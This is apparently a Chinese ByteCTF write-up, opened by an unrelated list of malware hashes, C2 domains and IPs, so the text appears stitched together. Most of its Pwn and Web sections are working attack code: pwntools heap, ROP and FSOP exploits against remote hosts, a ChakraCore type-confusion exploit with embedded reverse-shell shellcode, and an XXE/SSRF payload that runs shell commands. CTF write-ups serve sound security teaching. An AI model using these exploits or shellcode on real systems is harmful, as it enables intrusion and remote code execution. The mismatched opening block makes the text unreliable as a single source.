eb557f64f52a6090a65c5415e47f4e99b0cb8fb9938d31863954ce84883fe730
f0520c25fd656c465dc55b5eada41dbd042f46be93fb3678d046ed9f6a90a149
f534550d7f45febddd4f73634e13870889e16d9347cb55dd5438a8d1859e3b01
f5d4366ffbf7ff84ee4ed8eb8ddda39fe78a41e9b0138baa9c0627c65c5934be
**Domain**
sodality.mandmsolicitorscom
advokat-hodonin.info/gate.php
penaz.info/gate.php
lgrarcosbann.club/index.php
cofeedback.com
consultane.com
feedbackgive.com
msoftwares.info
mwebsoft.com
net-giftshop.info
rostraffic.com
traffichi.com
typiconsult.com
websitesbuilder.info
backup.awarfaregaming.com
click.clickanalytics208.com
connect.clevelandskin.com
connect.clevelandskin.net
connect.clevelandskin.org
cushion.aiimss.com
link.easycounter210.com
rocket2.new10k.com
track.positiverefreshment.org
**IP**
185.189.151.38
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=185.189.151.38
"ZoomEye搜索结果")）
185.162.235.167
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=185.162.235.167
"ZoomEye搜索结果")）
185.82.127.38
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=185.82.127.38
"ZoomEye搜索结果")）
195.123.227.225
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=195.123.227.225
"ZoomEye搜索结果")）
38.135.104.189
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=38.135.104.189
"ZoomEye搜索结果")）
88.119.175.104
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=88.119.175.104
"ZoomEye搜索结果")）
91.219.237.36
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=91.219.237.36
"ZoomEye搜索结果")）
91.236.116.63
（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=91.236.116.63
"ZoomEye搜索结果")）
* * * | 社区文章 |
## Misc
### Hello Bytectf
签到~
### betgame
剪刀石头布游戏，每次获胜的规则不一样但找到规律即可，3次一循环，手动打完即可。
### jigsaw
一堆图拼吾王。。吾王不懂人心
最后flag，S写大了可还行
### bet
区块链题目，主要利用 1 + ~0x01 会下溢这一点
1. 首先profit，使balance(0x02)为 1
2. Bet() 无条件使自己变为 owner
3. 0xf98b23c9 使猜测的数字变为0
4. 调用一次 func_0219，要猜对，使balance变为 2，同时0x04【标志位】为1
5. 调用一次 func_0219，要猜错，使balance变为 1
6. 调用一次 func_03F7，猜错， 使balance 下溢
7. 获得flag
### hf_
区块链题目，核心点依然是下溢。
1. profit
2. 0xbf1912bc 转账2 eth可变为owner
3. 0x0f77e47d 转帐2，造成自己的balance下溢
4. 获得flag
### ddd
1. 准备 volatility 工具套件，将官方提供的Ubuntu1604.zip放置在 volatility/volatility/plugins/overlays/linux 中，之后的操作全部选择该文件包的profile
2. 使用 linux_check_syscall 检查系统调用，发现 sys_read 被 HOOK，考虑 rootkit
3. linux_enumerate_files 枚举文件，发现敏感文件 /root/dddd-*.ko /root/douyinko.ko
4. dddd-*.ko 文件存在，使用 linux_find_file 指定inode，dump文件，分析后发现仅仅是用于dump内存的kernel mod
5. douyinko.ko 已被删除，无inode信息，无法直接使用 linux_find_file dump该文件，linux_moddump总是卡死，不知道为什么
6. linux_pslist 查看进程，发现两个 sftp-server
7. 使用 linux_proc_maps -p 指定 sftp，查看进程内存地址信息
8. 再使用 linux_dump_map -p 2777 -s 内存地址，dump sftp-server的堆区域
9. 分析堆区域的数据，发现缓存的完整 ELF 文件，为douyinko.ko
10. 准备Ubuntu16.04虚拟机，降级内核至4.4.0-131
11. 将导出的douyinko.ko切割到正确大小之后，insmod douyinko.ko 加载该内核
12. 新建一个文件，内容为 emm....Can you find flag? （最后需要跟一个换行符或者空格，否则长度刚刚好不够用，无法通过检查）
13. 使用 cc1 或 cat 或 vim 或 vi 读取新建的文件，获得最终的flag
## Crypto
### lrlr
大概是四步
1. 随机数还原，得到之后代码生成的所有 getrandbits
2. 逆向lrand算法，得到 self.states
3. 得到 self.states，就是c_list，最大剩余定理得到 m**17，开17得到结果
4. 从seed 还原得到 flag
随机数
def oldtest():
f=open("old","wb")
s=""
for i in range(1000):
s+=str(random.getrandbits(32))+"\n"
f.write(s)
可从 old 文件中取得前 1000 组 randbits
以 624 组计算得初始向量从而可以推算后续所有 randbits 方法得到值
抄个程序生成 1000 组 32bit 后面的 72 组 128bit 值
> reference
> <https://www.anquanke.com/post/id/158894?tdsourcetag=s_pcqq_aiomsg#h2-3>
# step2 get c_list
def state_reverse(state, key):
key = long_to_bytes(key)
handle = AES.new(key, AES.MODE_CBC, "\x00"*16)
output = handle.decrypt(long_to_bytes(state))
return bytes_to_long(output)
random_list = open('p_random_128_hex.txt','r').read().strip().split('\n')
random_list = [int(op.strip('L'),16) for op in random_list]
'''
use_list = []
for kk in range(80):
num = 0
for _ in range(4):
num = num << 32
num += random_list[kk*4 + 3 - _]
use_list.append(num)
random_list = use_list
# 读取随机数
'''
l_result = open('new','r').read().strip().split('\n')
l_result = [int(op.strip('L'),16) for op in l_result]
assert len(l_result) == 24
state = [0 for _ in range(48)]
old_state = []
for op in range(24):
old_state.append(state_reverse(l_result[op],random_list[48+op]))
# 再逆向 gen_new_states，新的states根据老states生成的
for op in range(24):
state[op] = state_reverse(old_state[op], random_list[24+op])
# print state[:24]
c_list = []
for op in range(24):
c_list.append(state[op])
# step3
n_list = open('cl','r').read().split('\n')[:-1]
n_list = [int(op.strip('L'),16) for op in n_list]
assert len(n_list) == len(c_list)
def egcd(a, b):
if 0 == b:
return 1, 0, a
x, y, q = egcd(b, a % b)
x, y = y, (x - a // b * y)
return x, y, q
def chinese_remainder(pairs):
mod_list, remainder_list = [p[0] for p in pairs], [p[1] for p in pairs]
mod_product = reduce(lambda x, y: x * y, mod_list)
mi_list = [mod_product//x for x in mod_list]
mi_inverse = [egcd(mi_list[i], mod_list[i])[0] for i in range(len(mi_list))]
x = 0
for i in range(len(remainder_list)):
x += mi_list[i] * mi_inverse[i] * remainder_list[i]
x %= mod_product
return x
params = []
for op in range(24):
params.append([n_list[op],c_list[op]])
k = chinese_remainder(params)
print gmpy2.iroot(k,17)
init_state = gmpy2.iroot(k,17)[1]
得到的init_state，反复使用原函数加密即可得到flag
# coding:utf-8
from z3 import *
from Crypto.Util.number import *
num = 61406796444626535559771097418338494728649815464609781204026855332620301752444
def generate_init_state(seed):
a = 0
for i in bin(seed)[2:]:
a = a << 1
if (int(i)):
a = a ^ seed
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223
#print 'a(init_state)',a
return a
for i in range(10000000):
num = generate_init_state(num)
tmp = long_to_bytes(num)
if 'flag' in tmp or 'byte' in tmp:
print tmp
## Re
### 驱动逆向
题目中指定了CPU为FakeIntel。同时又给定了长度为0x10的key
将上述数据分别赋值到0x140006070和0x14006890处。
使用peloader加载程序执行解密逻辑即可得到flag
bytectf{d0f20eff6fc4f6060776c8ca63319a1e}
## Pwn
### ezarch
和拟态防御的simplevm类似的虚拟机题目。本题在运行自定义opcode的时候对ebp进行检查时，使用了错误的参数，导致ebp可以越界读写，从而修改结构体中保存的虚拟栈基地址，进而劫持got表。
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def memory_set(p, size, payload, eip, esp, ebp):
p.sendlineafter('>', 'M')
p.sendlineafter('size>', str(size))
p.sendlineafter('size>', str(len(payload)))
p.sendlineafter(')', payload)
p.sendlineafter('eip>', str(eip))
p.sendlineafter('esp>', str(esp))
p.sendlineafter('ebp>', str(ebp))
def run(p):
p.sendlineafter('>', 'R')
DEBUG = False
#p = process('ezarch')
p = remote('112.126.102.73', 9999)
if DEBUG:
gdb.attach(p)
# get heap addr(r14 r15) and elf addr(r12 r13)
payload = '/bin/sh\x00'
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xF) + p32(0) # pop [esp] => r15
payload += '\x01\x10' + p32(0) + p32(0x1004) # add 0x1004 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xE) + p32(0) # pop [esp] => r14
payload += '\x02\x10' + p32(0) + p32(0x1004) # sub 0x1004 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x1008) # add 0x1008 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xD) + p32(0) # pop [esp] => r13
payload += '\x02\x10' + p32(0) + p32(0x1008) # sub 0x1008 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x100C) # add 0x100C => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(0xC) + p32(0) # pop [esp] => r12
payload += '\x02\x10' + p32(0) + p32(0x100C) # sub 0x100C => r0 ; set r0 to 0
# change stack base
payload += '\x01\x10' + p32(0) + p32(0x1008) # add 0x1008 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x03\x00' + p32(1) + p32(13) # mov r13 => r1
payload += '\x02\x10' + p32(1) + p32(0xa8) # sub 0xa8 => r1 ; free@got
payload += '\x03\x02' + p32(17) + p32(1) # mov r1 => [ebp]
# get libc r10,r11
payload += '\x02\x10' + p32(0) + p32(0x1008) # sub 0x1008 => r0 ; set r0 to 0
payload += '\x01\x10' + p32(0) + p32(0x30) # add 0x30 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp
payload += '\x01\x10' + p32(2) + p32(0x400) # sub 0x400 => r2
payload += '\x03\x00' + p32(16) + p32(2) # mov r2 => esp
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(11) + p32(0) # pop [esp] => r11
payload += '\x01\x10' + p32(0) + p32(4) # add 0x4 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x34
payload += '\x03\x22' + p32(0x10) + p32(17) # mov [ebp] => [esp]
payload += '\x0A\x00' + p32(10) + p32(0) # pop [esp] => r10
# get system
payload += '\x02\x10' + p32(11) + p32(0x47c30) # sub 0x47c30 => r11 ; r11 <= system low 32 bit addr
# change free@got
payload += '\x02\x10' + p32(0) + p32(0x34) # sub 0x34 => r0 ; set r0 to 0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x0 <= free@got
payload += '\x03\x02' + p32(17) + p32(11) # mov r11 => [ebp]
payload += '\x01\x10' + p32(0) + p32(4) # add 0x4 => r0
payload += '\x03\x00' + p32(17) + p32(0) # mov r0 => ebp ; ebp = 0x4
payload += '\x03\x02' + p32(17) + p32(10) # mov r10 => [ebp]
payload += '\xFF'
memory_set(p, 0x4010, payload, 8, 0x10, 0x1000)
run(p)
p.sendlineafter('>', 'M')
p.sendlineafter('size>', str(20))
#bytectf{0ccf4027c269fcbd1d0a74ddd62ba90a}
p.interactive()
p.close()
### mulnote
程序应该算加了混淆？但是还是很容易就能看清楚程序在做什么。漏洞在free的时候，thread中sleep后清空bss上的chunk地址，导致UAF。
from pwn import *
def add(p, size, content):
p.sendlineafter('>', 'C')
p.sendlineafter('size>', str(size))
p.sendafter('note>', content)
def delete(p, idx):
p.sendlineafter('>', 'R')
p.sendlineafter('index>', str(idx))
def show(p):
p.sendlineafter('>', 'S')
def edit(p, idx, content):
p.sendlineafter('>', 'E')
p.sendlineafter('index>', str(idx))
p.sendafter('new note>', content)
def pwn():
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
DEBUG = False
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./mulnote')
if DEBUG:
p = process('./mulnote')
else:
p = remote('112.126.101.96', 9999)
if DEBUG:
gdb.attach(p)
add(p, 0x98, 'sunichi') #0
add(p, 0x68, 'sunichi') #1
add(p, 0x68, 'sunichi') #2
delete(p, 0)
show(p)
p.recvuntil('[*]note[0]:\n')
recv = p.recv(6) + '\x00\x00'
libc.address = u64(recv) - (0x7fc642ab9b78 - 0x00007fc6426f5000)
delete(p, 1)
delete(p, 2)
edit(p, 2, p64(libc.symbols['__malloc_hook'] - 0x23))
add(p, 0x68, 'sunichi')
add(p, 0x68, '\x00\x00\x00' + p64(0) + p64(libc.address + 0xf02a4) + p64(libc.symbols['realloc']))
sleep(15)
p.sendlineafter('>', 'C')
p.sendlineafter('size>', str(32))
#bytectf{4f10583325b7a40ecd770dbb6fd54d59}
print hex(libc.address)
p.interactive()
p.close()
if __name__ == '__main__':
pwn()
### vip
设置prctl的时候有栈溢出，通过栈溢出修改prctl的规则，使得open(urandom)的时候返回0从而绕过限制。最后做ROP进行orw就可以读出flag了。
from pwn import *
def add(p, idx):
p.sendlineafter('Your choice: ', str(1))
p.sendlineafter('Index: ', str(idx))
def show(p, idx):
p.sendlineafter('Your choice: ', str(2))
p.sendlineafter('Index: ', str(idx))
def delete(p, idx):
p.sendlineafter('Your choice: ', str(3))
p.sendlineafter('Index: ', str(idx))
def edit(p, idx, size, content=''):
p.sendlineafter('Your choice: ', str(4))
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Size: ', str(size))
if content == '':
return
p.send(content)
def disable_sandbox(p):
payload = '\x00' * 0x20
payload += '\x20\x00\x00\x00\x00\x00\x00\x00'
payload += '\x15\x00\x01\x00\x01\x01\x00\x00'
payload += '\x06\x00\x00\x00\x00\x00\xFF\x7F'
payload += '\x06\x00\x00\x00\x00\x00\x05\x00'
p.sendlineafter('Your choice: ', str(6))
p.sendafter('please tell us your name: \n', payload)
def pwn():
context.terminal = ['tmux', 'split', '-h']
DEBUG = False
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./vip')
if DEBUG:
p = process('./vip')
else:
p = remote('112.126.103.14', 9999)
if DEBUG:
gdb.attach(p)
context.log_level = 'debug'
disable_sandbox(p)
add(p, 0)
add(p, 1)
delete(p, 1)
payload = 'a' * 0x58 + p64(0x61) + p64(0x404100)
edit(p, 0, len(payload), payload)
add(p, 2)
edit(p, 2, len('./flag\x00'), './flag\x00') #heapaddr
add(p, 3)
payload = p64(0x404108) + p64(elf.got['puts'])
edit(p, 3, len(payload), payload)
show(p, 1)
libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']
payload = p64(libc.symbols['__environ'])
edit(p, 0, len(payload), payload)
show(p, 1)
stack_addr = u64(p.recv(6) + '\x00\x00')
payload = p64(0x404110)
edit(p, 0, len(payload), payload)
show(p, 1)
heap_addr = u64(p.recvuntil('\nDone', drop=True).ljust(8, '\x00'))
ret_rop = stack_addr - (0x7ffc05877e58 - 0x7ffc05877d68)
edit(p, 0, len(payload), p64(ret_rop))
pop_rdi_ret = 0x00000000004018fb
pop_rsi_r15_ret = 0x00000000004018f9
pop_rdx_ret = libc.address + 0x0000000000001b96
syscall_ret = libc.address + 0x00000000000d2975
pop_rax_ret = libc.address + 0x00000000000439c8
leave_ret = 0x0000000000401445
pop_rbp_ret = 0x00000000004011d9
rop = p64(pop_rdi_ret) + p64(heap_addr)
rop += p64(pop_rsi_r15_ret) + p64(0x0) + p64(0)
rop += p64(pop_rdx_ret) + p64(0)
rop += p64(pop_rax_ret) + p64(2)
rop += p64(syscall_ret)
rop += p64(pop_rdi_ret) + p64(3)
rop += p64(pop_rsi_r15_ret) + p64(0x00404800) + p64(0)
rop += p64(pop_rdx_ret) + p64(0x100)
rop += p64(elf.plt['read'])
rop += p64(pop_rdi_ret) + p64(0x00404800)
rop += p64(elf.plt['puts'])
rop += p64(0xdeadbeef)
edit(p, 1, len(rop), rop)
p.sendlineafter('Your choice: ', str(5))
print hex(heap_addr)
print hex(ret_rop)
print hex(libc.address)
p.interactive()
p.close()
return 1
#bytectf{2ab64f4ee279e5baf7ab7059b15e6d12}
if __name__ == '__main__':
pwn()
'''
0x00000000004018f4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f8 : pop r14 ; pop r15 ; ret
0x00000000004018fa : pop r15 ; ret
0x00000000004018f3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004018f7 : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004011d9 : pop rbp ; ret
0x00000000004018fb : pop rdi ; ret
0x00000000004018f9 : pop rsi ; pop r15 ; ret
0x00000000004018f5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret
0x0000000000401401 : ret 0x2be
0x0000000000401072 : ret 0x2f
0x00000000004012a2 : ret 0xc604
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
'''
### mheap
read函数返回值检查的bug，导致向前溢出。
from pwn import *
def add(p, idx, size, content):
p.sendlineafter('Your choice: ', str(1))
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('size: ', str(size))
if size == len(content):
p.sendafter('Content: ', content)
else:
p.sendlineafter('Content: ', content)
def show(p, idx):
p.sendlineafter('Your choice: ', str(2))
p.sendlineafter('Index: ', str(idx))
def delete(p, idx):
p.sendlineafter('Your choice: ', str(3))
p.sendlineafter('Index: ', str(idx))
def edit(p, idx, content):
p.sendlineafter('Your choice: ', str(4))
p.sendlineafter('Index: ', str(idx))
p.send(content)
def pwn():
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
DEBUG = False
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./mheap')
if DEBUG:
p = process('./mheap')
else:
p = remote('112.126.98.5', 9999)
if DEBUG:
gdb.attach(p)
add(p, 0, 0x1000 - 0x40 - 0x20, 'sunichi') #1
add(p, 1, 0x10, 'sunichi') #2
add(p, 2, 0x10, 'sunichi!' * 2) #3
delete(p, 1) #4
delete(p, 2) #5
p.sendlineafter('Your choice: ', str(1)) #6
p.sendlineafter('Index: ', str(15))
p.sendlineafter('size: ', str(0x60))
payload = p64(0x20) + p64(0x4040cb) + p64(0) * 2 + p64(0x70) + p64(0)[:7] + '\n'
p.sendafter('Content: ', payload)
add(p, 1, 0x10, '/bin/sh\x00') #7
payload = 'a' * 5 + p64(elf.got['puts'])
add(p, 14, 0x10, payload) #8
show(p, 0)
libc.address = u64(p.recv(6) + '\x00\x00') - libc.symbols['puts']
p.sendlineafter('Your choice: ', str(4))
p.sendlineafter('Index: ', str(0))
p.send(p64(libc.address + 0x4f322))
p.sendline('sunichi')
p.sendline('cat flag')
print hex(libc.address)
p.interactive()
p.close()
#bytectf{34f7e6dd6acf03192d82f0337c8c54ba}
if __name__ == '__main__':
pwn()
### notefive
程序没有输出，存在off-by-one漏洞，限制了分配的chunk的大小，导致不能采用0x7f作为fastbin的size。利用off-by-one造成堆块重叠，`unsorted bin
attack`修改`global_max_fast`。之后几乎所有的chunk都属于fastbin的范围内，利用stderror结构体flag字段的0xfb作为chunk的size，可在stdout附近布置好合适的size，再次fastbin
attack可以完全控制stdout，泄露libc地址以及修改vtable来getshell
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
def add(p,idx,size):
sla(p,'choice>> ',str(1))
sla(p,'idx: ',str(idx))
sla(p,'size: ',str(size))
def edit(p,idx,content):
sla(p,'choice>> ',str(2))
sla(p,'idx: ',str(idx))
sa(p,'content: ',content)
def delete(p,idx):
sla(p,'choice>> ',str(3))
sla(p,'idx: ',str(idx))
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
BIN_PATH = './note_five'
elf = ELF(BIN_PATH)
context.terminal = ['tmux', 'split', '-h']
def pwn():
if DEBUG == 1:
p = process(BIN_PATH)
context.log_level = 'debug'
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('112.126.103.195', 9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
# 0x555555554000
# global_max_fast 0x7ffff7dd37f8
# unsortedbin 0x7ffff7dd1b78
# stdout 0x7ffff7dd2620
# addr 0x7ffff7dd37e8
# free_hook 0x7ffff7dd37a8
# malloc_hook 0x7ffff7dd1b10
# IO_list_all 0x7ffff7dd2520
add(p,0,0xf8)
add(p,1,0xf8)
add(p,2,0xf8)
add(p,3,0xf8)
add(p,4,0xf8)
# overlap
delete(p,0)
data = '\x00'*0xf0+p64(0x300)+'\x00'
edit(p,2,data)
delete(p,3)
add(p,0,0xe0) #0
add(p,0,0x100)#0 overlap 1
payload = p64(0)+'\xe8\x37\n'
edit(p,2,payload)
add(p,3,0x1f0) #3=2
data = p64(0)+p64(0xf1)+'\x00'*0xe0+p64(0)+p64(0x21)+'\n'
edit(p,0,data)
delete(p,1)
data = p64(0)+p64(0xf1)+'\x3b\x25\n'
edit(p,0,data)
add(p,1,0xe8)
add(p,4,0xe8)
payload = '\x00'*(0xe0-11-8)+p64(0x101)+p64(0xfbad1800)+'\n'
edit(p,4,payload)
edit(p,0,p64(0)+p64(0x101)+'\n')
delete(p,1)
data = p64(0)+p64(0x101)+'\x10\x26\n'
edit(p,0,data)
add(p,1,0xf8)
add(p,4,0xf8)
payload = p64(0xfbad1800)+p64(0)*3+'\x00\n'
edit(p,4,payload)
ru(p,'\x00\x18\xad\xfb')
rn(p,28)
libc_addr = u64(rn(p,8))
log.info('libc addr: '+hex(libc_addr))
libc_base = libc_addr-(0x7ffff7dd2600-0x7ffff7a0d000)
log.info('libc base: '+hex(libc_base))
libc.address = libc_base
stdout = libc_base+(0x00007ffff7dd2620-0x7ffff7a0d000)
one_gadget = 0xf1147
fake_file = p64(0xfbad2887)+p64(libc.sym['_IO_2_1_stdout_']+131)*7+p64(libc.sym['_IO_2_1_stdout_']+132)
fake_file += p64(0)*4+p64(libc.sym['_IO_2_1_stdin_'])+p64(1)+p64(0xffffffffffffffff)+p64(0x000000000b000000)+p64(libc.address+(0x7ffff7dd3780-0x7ffff7a0d000))
fake_file += p64(0xffffffffffffffff)+p64(0)+p64(libc.address+(0x7ffff7dd17a0-0x7ffff7a0d000))+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2
fake_file += p64(stdout+0xd8-0x30)+p64(libc_base+one_gadget)*2+'\n'
if ATTACH==1:
gdb.attach(p,'''
b *0x555555554000+0xecd
b *0x555555554000+0xb72
''')
edit(p,4,fake_file)
p.interactive()
if __name__ == '__main__':
pwn()
# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
### childjs
Patch 复现了 chakracore 引擎的 JIT 漏洞 CVE-2019-0567，忽略 InitProto opcode 的 side
effect，导致 JIT 无法正确的识别处理 InitProto 时的类型变化，导致 Type Confusion。Exploit 使用了 Obj ->
Dataview -> Dataview 的内存布局来实现 Arbitrary R/W，最终通过覆写 memmove 的 got 地址为shellcode来
getshell
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
dv2.setUint32(0, 0xdead,true);
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, proto, value){
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj);
o.c = dv1
obj.h = dv2;
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(4, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
let libc_addr = vtable_lo + vtable_hi * BASE
let libc_base = libc_addr-(0x7ffff47cc6e0-0x00007ffff39c8000)
// let memove_got_addr = libc_base+0xe38128
let memove_got_addr = libc_base+0xe53108
print("[+] dv2.vtable pointer: "+hex(vtable_lo + vtable_hi * BASE));
print("[+] libc base: "+hex(libc_base));
print("[+] memmove got addr: "+hex(memove_got_addr));
//get dv2 buffer poointer
buf_lo=dv1.getUint32(0x38,true)
buf_hi=dv1.getUint32(0x3C,true)
let shelladdr = buf_lo + buf_hi * BASE
let shellbase = shelladdr-(0x555555847360-0x00005555557d0000)
// read first vtable entry using the R\W primitive
print("[+] dv2.vtable content: "+hex(shelladdr));
print("[+] shellbase: "+hex(shellbase))
print("[+] dv2.buffer pointer: "+hex(libc_addr));
// [+] dv2.vtable pointer: 0x7ffff49e95e0
// [+] dv2.buffer pointer: 0x555555847360
// [+] dv2.vtable content: 0x7ffef3d9a8e0
// read first vtable entry using the R\W primitive
print("[+] dv2.buffer content: "+hex(read64(buf_lo, buf_hi)));
// write memove got
// var shellcode = [0xb848686a,0x6e69622f,0x732f2f2f,0xe7894850,0x1697268,0x24348101,0x1010101,0x6a56f631,0x1485e08,0x894856e6,0x6ad231e6,0x50f583b];
var shellcode = [0x9958296a,0x6a5f026a,0x50f5e01,0xb9489748,0x8520002,0xbc9ae168,0xe6894851,0x6a5a106a,0x50f582a,0x485e036a,0x216aceff,0x75050f58,0x583b6af6,0x2fbb4899,0x2f6e6962,0x53006873,0x52e78948,0xe6894857,0x50f];
print("shellcode len"+hex(shellcode.length));
// print("[+] shellcode: "+hex(shellcode[0]));
let offset = 0x400
for (var i = 0; i < shellcode.length/2+1; ++i) {
if(i*2+1>shellcode.length)
write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],0xdeadbeef);
else
write64(buf_lo+offset+i*8,buf_hi,shellcode[i*2],shellcode[i*2+1]);
}
write64(vtable_lo+0x4ea28,vtable_hi,buf_lo+offset,buf_hi)
// trigger
var target = new Uint8Array(0x1234);
var bb = new Uint8Array(10);
target.set(bb);
}
main();
## Web
首先先注册一个`**baidu.com`的域名，来绕过下面几个题的一些问题。
### rss
通过访问`**baidu.com/1.txt`来进行XXE，读取源码。
之后构造，进行SSRF，在`$_GET['order']='title,"1")&&phpinfo()&&strcmp($a->title';`RCE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://是IP/file/example&order=%74%69%74%6c%65%2c%22%31%22%29%26%26%73%79%73%74%65%6d%28%27%63%61%74%20%2f%66%6c%61%67%5f%65%62%38%62%61%32%65%62%30%37%37%30%32%65%36%39%39%36%33%61%37%64%36%61%62%38%36%36%39%31%33%34%27%29%26%26%73%74%72%63%6d%70%28%24%61%2d%3e%74%69%74%6c%65" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>[email protected]</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
### babyblog
存在二次注入
if(isset($_POST['title']) && isset($_POST['content']) && isset($_POST['id'])){
foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){
$row = $v;
}
if($_SESSION['id'] == $row['userid']){
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';");
exit("<script>alert('Edited successfully.');location.href='index.php';</script>");
}else{
exit("<script>alert('You do not have permission.');history.go(-1);</script>");
}
}
先通过堆叠注入，insert一个VIP
使用`insert users set username='xxx'....`绕过
之后在使用replace.php的preg_replace 用/e RCE
其中使用mitmproxy做中间件，解决antword链接问题
from mitmproxy import http
def request(flow):
flow.request.urlencoded_form["find"] = "/e\x00"
